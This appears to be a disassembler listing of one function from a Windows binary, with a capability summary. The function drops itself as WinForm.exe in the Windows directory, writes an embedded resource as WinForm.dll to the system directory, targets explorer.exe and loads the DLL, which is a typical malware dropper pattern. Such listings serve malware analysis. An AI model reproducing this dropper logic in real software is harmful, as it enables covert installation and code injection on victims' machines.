Function at 0x401000
Capabilities:
Copy file
Create thread
Delete file
Extract resource via kernel32 functions
Get common file path
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push esi
mov esi, str.95594470
push edi
xor ebx, ebx
push esi
push ebx
push 0x1f0003
call dword [sym.imp.KERNEL32.DLL_OpenEventA]
test eax, eax
jne 0x4013e2
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push 0x1f4
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, 0x104
lea eax, [ebp - 0x220]
push esi
push eax
push ebx
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
lea eax, [ebp - 0x428]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x220]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x11c]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x220]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x324]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x11c]
push 0x40324c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x11c]
push str.WinForm.dll
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x324]
push 0x40324c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x324]
push str.WinForm.exe
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
push ebx
push ebx
push ebx
push 0x4019f7
push 0x400
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 2
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push 0x3e8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
call fcn.00401862
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0xc
test eax, eax
je 0x4011f8
lea eax, [ebp - 0x324]
push ebx
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jne 0x4011e3
push 0xa
push str.WinForm.exe
call fcn.0040198b
pop ecx
lea eax, [ebp - 0x220]
pop ecx
mov dword [0x403022], 0x6578652e
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x324]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x324]
push 0x40324c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x324]
push str.WinForm.exe
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x324]
push ebx
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x324]
push eax
push str.WinForm
call fcn.0040167c
pop ecx
pop ecx
jmp 0x4011fb
mov byte [ebp - 1], bl
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x403248
push 0x65
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ebx
push 0x80
push 2
push ebx
push 1
lea eax, [ebp - 0x11c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x4012f4
push 0xa
push str.WinForm.dll
call fcn.0040198b
pop ecx
lea eax, [ebp - 0x220]
pop ecx
mov dword [0x403016], 0x6c6c642e
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x11c]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
call edi
lea eax, [ebp - 0x11c]
push 0x40324c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x11c]
push str.WinForm.dll
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x11c]
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4013ef
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0xc8
call edi
push str.explorer.exe
call fcn.004017d6
cmp eax, ebx
pop ecx
je 0x40137d
cmp byte [ebp - 1], bl
jne 0x401343
mov byte [ebp - 0x428], bl
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.0040146c
add esp, 0xc
cmp eax, ebx
je 0x40137d
push eax
call esi
push 0x7d0
call edi
cmp dword [ebp - 0xc], ebx
je 0x401376
push dword [ebp - 0xc]
call fcn.00401862
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x4013e8
mov ecx, dword [eax + 0x30]
mov edx, dword [eax + 0x34]
cmp ecx, ebx
mov dword [ebp - 0x14], edx
je 0x4013d9
cmp edx, ebx
je 0x4013d9
call ecx
push str.95594470
push ebx
push 0x1f0003
call dword [sym.imp.KERNEL32.DLL_OpenEventA]
cmp eax, ebx
jne 0x4013d0
push 0x64
call edi
cmp dword [ebp - 0xc], ebx
je 0x4013a4
push dword [ebp - 0xc]
call fcn.00401862
pop ecx
mov dword [ebp - 0xc], ebx
jmp 0x4013a4
push eax
call esi
call dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x4013e8
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
call edi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10